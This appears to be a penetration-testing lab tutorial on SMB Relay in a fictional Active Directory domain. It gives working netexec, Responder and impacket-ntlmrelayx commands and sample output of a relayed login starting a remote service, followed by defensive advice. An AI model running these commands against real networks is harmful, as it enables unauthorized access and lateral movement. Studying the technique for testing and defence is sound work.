SMB Relay

What is

Instead of capturing an NTLM authentication with Responder and attempting to crack it, we can relay the authentication to another machine.

In an SMB Relay attack, the attacker forwards an incoming NTLM authentication to an SMB service on another host.

If the target accepts the relayed authentication and the authenticated account has administrative privileges on the target, the attacker may be able to perform privileged operations on that machine.

This can be particularly useful in scenarios where NTLMv2 authentications are being captured but cannot be cracked efficiently.

Requirements

For SMB Relay to work, two essential requirements must be met:

• SMB signing must be disabled or not enforced on the target.

• The relayed user must have administrative privileges on the target.

The attacker also needs to be able to capture an NTLM authentication and reach the target SMB service.

How to

Summary

The basic workflow is:

netexec smb 172.16.14.0/24 --gen-relay-list relay.txt

sudo responder -I <interface> -dw

impacket-ntlmrelayx -tf relay.txt -smb2support --no-multirelay

Detailed

1. Identify relay targets

The first step is to identify machines where SMB signing is disabled or not enforced.

One way to check this is with Nmap using the smb2-security-mode.nse script.

A more convenient method is netexec, which can also generate a relay-target file.

netexec smb 172.16.14.0/24 --gen-relay-list relay.txt

An example output is:

SMB         172.16.14.10     445    HYDRA-DC       [*] Windows Server 2022 Build 20348 x64 (name:HYDRA-DC) (domain:MARVEL.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         172.16.14.130   445    THEPUNISHER    [*] Windows 11 / Server 2025 Build 26100 x64 (name:THEPUNISHER) (domain:MARVEL.local) (signing:False) (SMBv1:None)
SMB         172.16.14.129   445    SPIDERMAN      [*] Windows 11 / Server 2025 Build 26100 x64 (name:SPIDERMAN) (domain:MARVEL.local) (signing:False) (SMBv1:None)
Running nxc against 256 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00

The important field is:

(signing:False)

The generated file can then be inspected:

cat relay.txt

For example:

172.16.14.130
172.16.14.129

These are the hosts that ntlmrelayx can attempt to relay authentication to.

2. Configure Responder

Unlike a normal LLMNR poisoning attack, Responder must not handle the SMB or HTTP authentication itself.

The authentication needs to reach ntlmrelayx.

Edit:

/etc/responder/Responder.conf

and change the SMB and HTTP services from On to Off.

The relevant configuration should therefore contain:

HTTP = Off
SMB = Off

Other services can remain enabled according to the requirements of the lab.

3. Start Responder

Start Responder using the same interface used for the lab network:

sudo responder -I <interface> -dw

The output should confirm that SMB and HTTP are disabled.

For example:

[+] Servers:
    HTTP server              [OFF]
    {...}
    SMB server               [OFF]
    {...}

This allows ntlmrelayx to handle the authentication instead of Responder.

4. Start ntlmrelayx

With the relay target list prepared and Responder configured, start ntlmrelayx:

impacket-ntlmrelayx -tf relay.txt -smb2support --no-multirelay

The important parameters are:

• -tf specifies the file containing the relay targets.

• -smb2support enables SMB2 support.

• --no-multirelay prevents the same authentication from being relayed multiple times.

Some port-binding errors may appear when starting ntlmrelayx.

This can happen because Impacket attempts to bind to ports that are already being used by Responder.

If necessary, disable the corresponding services in /etc/responder/Responder.conf before starting ntlmrelayx.

5. Relay the authentication

Once both tools are running, wait for a Windows client to authenticate.

If the authentication can be successfully relayed, ntlmrelayx will display a successful authentication.

An example is:

[*] (SMB): Authenticating connection from MARVEL/FCASTLE@172.16.14.130 against smb://172.16.14.129 SUCCEED [1]

At this point, the authentication has been successfully relayed to the target.

If the relayed account has administrative privileges, ntlmrelayx can perform privileged SMB operations.

For example, a successful relay can result in access to the target’s Service Control Manager and allow operations against Windows services.

A lab example may look like:

[*] smb://MARVEL/FCASTLE@172.16.14.129 [1] -> Service RemoteRegistry is in stopped state
[*] smb://MARVEL/FCASTLE@172.16.14.129 [1] -> Service RemoteRegistry is disabled, enabling it
[*] smb://MARVEL/FCASTLE@172.16.14.129 [1] -> Starting service RemoteRegistry

The exact output depends on the operation performed by ntlmrelayx.

Understanding the attack

The complete attack can be represented as:

                 NTLM authentication
Windows Client --------------------------> Responder
                                              |
                                              | Relay
                                              v
                                        ntlmrelayx
                                              |
                                              | SMB
                                              v
                                      Target Machine
                                              |
                                              | Administrative access
                                              v
                                      Privileged operations

The important difference compared with LLMNR poisoning is that the attacker does not need to crack the captured NTLMv2 authentication.

Instead, the authentication is forwarded to another service while it is still valid.

For this reason, SMB signing is an important protection mechanism.

When SMB signing is properly enforced, an attacker cannot simply take an NTLM authentication intended for one SMB connection and transparently relay it to another SMB target.

Common problems

No relay targets are generated

Check that the scan covers the correct network range:

netexec smb 172.16.14.0/24 --gen-relay-list relay.txt

Also verify that the target machines expose SMB on TCP/445.

ntlmrelayx receives no authentication

Verify that:

• Responder is running on the correct interface.

• SMB and HTTP are disabled in Responder.

• The Windows client generates an NTLM authentication.

• The attacker can receive the authentication traffic.

• ntlmrelayx is listening correctly.

Authentication is received but relay fails

Receiving an authentication does not guarantee that it can be relayed.

Check:

• SMB signing on the target.

• Network connectivity to TCP/445.

• Whether the target accepts NTLM authentication.

• Whether the relayed account has administrative privileges.

• Whether additional security controls prevent the relay.

Authentication succeeds but privileged operations fail

Successful authentication and administrative access are separate concepts.

The relayed account must have the required privileges on the target.

A normal domain user, for example, may successfully authenticate to SMB without having sufficient privileges to perform administrative operations.

Defensive considerations

SMB signing is one of the most important mitigations against SMB Relay.

Recommended measures include:

• Require SMB signing rather than merely supporting it.

• Reduce or disable NTLM authentication where possible.

• Disable LLMNR and NBT-NS to reduce credential exposure through name-resolution poisoning.

• Use strong network segmentation.

• Monitor for unexpected SMB authentication between workstations.

• Monitor for unusual service creation or modification.

• Apply least privilege to domain accounts.

• Protect privileged administrative accounts from being used on ordinary workstations.

It is important to understand that disabling LLMNR does not by itself prevent SMB Relay.

The relay technique is fundamentally an NTLM authentication issue. LLMNR poisoning is simply one possible way of obtaining an authentication that can subsequently be relayed.

Additional operations

ntlmrelayx supports several operations beyond the default SMB relay behaviour.

For example, it can be configured to execute commands or provide an interactive session when the relayed account has sufficient privileges.

The exact functionality depends on the target protocol, the privileges of the relayed account, and the version of Impacket being used.

Notes

When documenting an SMB Relay lab, it is useful to record:

• Attacker IP address.

• Client IP address.

• Target IP address.

• Active Directory domain.

• Whether SMB signing is enabled.

• Account used for the relay.

• Privileges of the relayed account.

• Responder configuration.

• ntlmrelayx configuration.

• Operation performed after successful authentication.